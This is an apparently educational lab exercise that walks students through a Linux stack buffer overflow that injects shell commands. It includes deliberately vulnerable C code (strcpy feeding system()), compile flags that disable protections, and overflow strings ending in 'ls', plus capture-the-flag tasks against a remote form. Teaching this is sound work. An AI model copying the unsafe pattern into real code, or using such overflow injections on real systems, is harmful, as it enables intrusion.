ED 201: Linux Buffer Overflow: Command Injection (15 pts)

What You Need

A 32-bit x86 Kali 2 Linux machine, real or virtual.

Purpose

To develop a very simple buffer overflow exploit in Linux, using injected shell commands.

Task 1: Exploiting a Local Service

Creating a Vulnerable Program

This program inputs a name from the user and prints out a "Goodbye" message. It then calls system() to print out the Linux version. It uses two buffers in a subroutine to do that in an unsafe manner, allowing the name buffer to overflow into the command buffer.

In a Terminal window, execute this command:


nano buf.c
Copy and paste in this code:

#include <string.h>
#include <stdio.h>

main(){
        char name[200];
        printf("What is your name?\n");
        scanf("%s", name);
        bo(name, "uname -a");
}

int bo(char *name, char *cmd){
        char c[40];
        char buffer[40];
        printf("Name buffer address:    %x\n", buffer);
        printf("Command buffer address: %x\n", c);
        strcpy(c, cmd);
        strcpy(buffer, name);
        printf("Goodbye, %s!\n", buffer);
        printf("Executing command: %s\n", c);
        fflush(stdout);
        system(c);
}

Save the file with Ctrl+X, Y, Enter.

Execute this command to compile the code without modern protections against stack overflows, and with debugging symbols:


gcc -g -fno-stack-protector -z execstack -o buf buf.c
You should see compiler warnings, but no errors.

Troubleshooting

If you see this error:
fatal error: string.h: No such file or directory
That means gcc is not properly installed, which was the case on my Kali 2017.3 machine.

Execute this command to fix gcc:

apt install build-essential -y

Running the Program Normally

Execute this command:

./buf
Enter your first name when prompted to.

The program prints out the location of the Name buffer and the command buffer, says "Goodbye", and excutes the command "uname -a", as shown below.

Observing a Crash

Execute this command:

./buf
Enter fifty 'A' characters instead of your name.

The program attempts to execute the command AAAAAAA, as shown below.

Finding the Code Injection Point

Execute this command:

./buf
Enter: The program attempts to execute the command EEEEEEEEEE, as shown below. So any text we put in place of EEEEEEEEEE will execute.

Executing the "ls" command

Execute this command:

./buf
Enter ten 'A' characters, then ten 'B' characters, then ten 'C' characters, then ten 'D' characters, then ls

The program executes the "ls" command, showing the files in your working directory, as shown below.

Escaping Spaces

To execute a command containing a space, insert a backslash before the space. Try to execute the "ls -l" command, as shown below.

Hint

If spaces are annoying you, try using backslash to escape them.

Task 2: Exploiting a Remote Server

Vulnerable Form

Try putting in a short name, and then make the name longer until you get unexpected results.

For a good time, try this string:

0123456789012345678901234567890123456789ls
Your name:    

ED 201.1: Flag 1 (5 pts)

There's a file on the server named "flag1". Find the flag inside it.

ED 201.2: Flag 2 (10 pts)

There's a file on the server named "flag2". Find the flag inside it.

Sources

I based this on the "pwn1" and "pwn2" challenges in the 2015 SCTF competition.

Posted: 1-6-16 by Sam Bowne
Last revised 2-28-16
ASLR disabling removed 3-31-16
URL changed to "direct" 1-19-17
gcc fix added 1-25-18
Minor language fixes 8-25-18
Updated for WCIL 5-22-19